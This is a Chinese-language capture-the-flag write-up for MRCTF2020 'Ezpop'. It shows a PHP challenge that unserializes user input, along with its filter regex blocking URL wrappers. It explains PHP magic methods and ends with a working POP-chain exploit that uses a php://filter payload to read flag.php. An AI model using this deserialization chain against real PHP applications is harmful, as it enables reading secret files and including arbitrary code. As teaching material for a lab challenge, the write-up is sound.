[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

PHP魔法方法/函数详解

https://www.jianshu.com/p/4afdd03c7923

一文让PHP反序列化从入门到进阶

https://xz.aliyun.com/t/6753

__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用

__sleep() 在对象在被 序列化 之前运行

__wakeup 在对象在被 反序列化 之前

2. __get() 和 __set()

image-20210117122641567

怎么理解呢:

就是:

当年调用类里面一个不存在属性时:会触发 __get()函数!

当年设置类面一个不存在属性时: 会触发__set()函数!

10. __invoke()

invoke(呼叫)。
在php中这个方法用于,把对象当方法用的时候。此方法会被调用。很简单。注意,此方法仅5.3以上版本支持。

class Invoke {

public function __invoke()
{
echo 'I can run'.PHP_EOL;
}
}

$invoke = new Invoke();
$invoke();

知道了上面:

这里我们应该可以想到:

通过TEST类 调用Modifier()方法

wccccccccccc

我是真的菜!每次想问题总想不明白!:

php反序列化:

serialize()     //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

上面也写的很清楚!

把对象变成字符串(序列化)!再把对象还原(反序列化)!

0x01 魔术方法

__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发xxxxxxxxxx __construct()//创建对象时触发__construct()//创建对象时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__invoke() //当脚本尝试将对象调用为函数时触发

这个__construct()是创建对象时用的!把对象反序列化不说创建对象!可以理解成把对象还原!

自己测试了测试,发现Test反序列化时压根都没有调用__construct()方法!说明反序列化操作只是把原来的序列化好的函数变成字符串,方便传输而已!

所以反序列化时不用管__construct(),只有新创建的对象时才管!

可以简单理解:

反序列化时就是用的原来的对象!

image-20210117215557093

好了疑惑和知识点都学的差不多!

做题:

这里直接拿了某位大佬的图!

img

exp:

<?php



class Modifier {
protected $var;

public function __construct(){

$this->var="php://filter/convert.base64-encode/resource=flag.php";
}
}

class Show{
public $source;
public $str;


}

class Test{
public $p;
public function __construct(){
$this->p =new Modifier;
}
}

$a=new Show();
$a->str=new Test;
$b=new Show;
$b->source=$a;
echo serialize($b)."\n";

echo urlencode(serialize($b));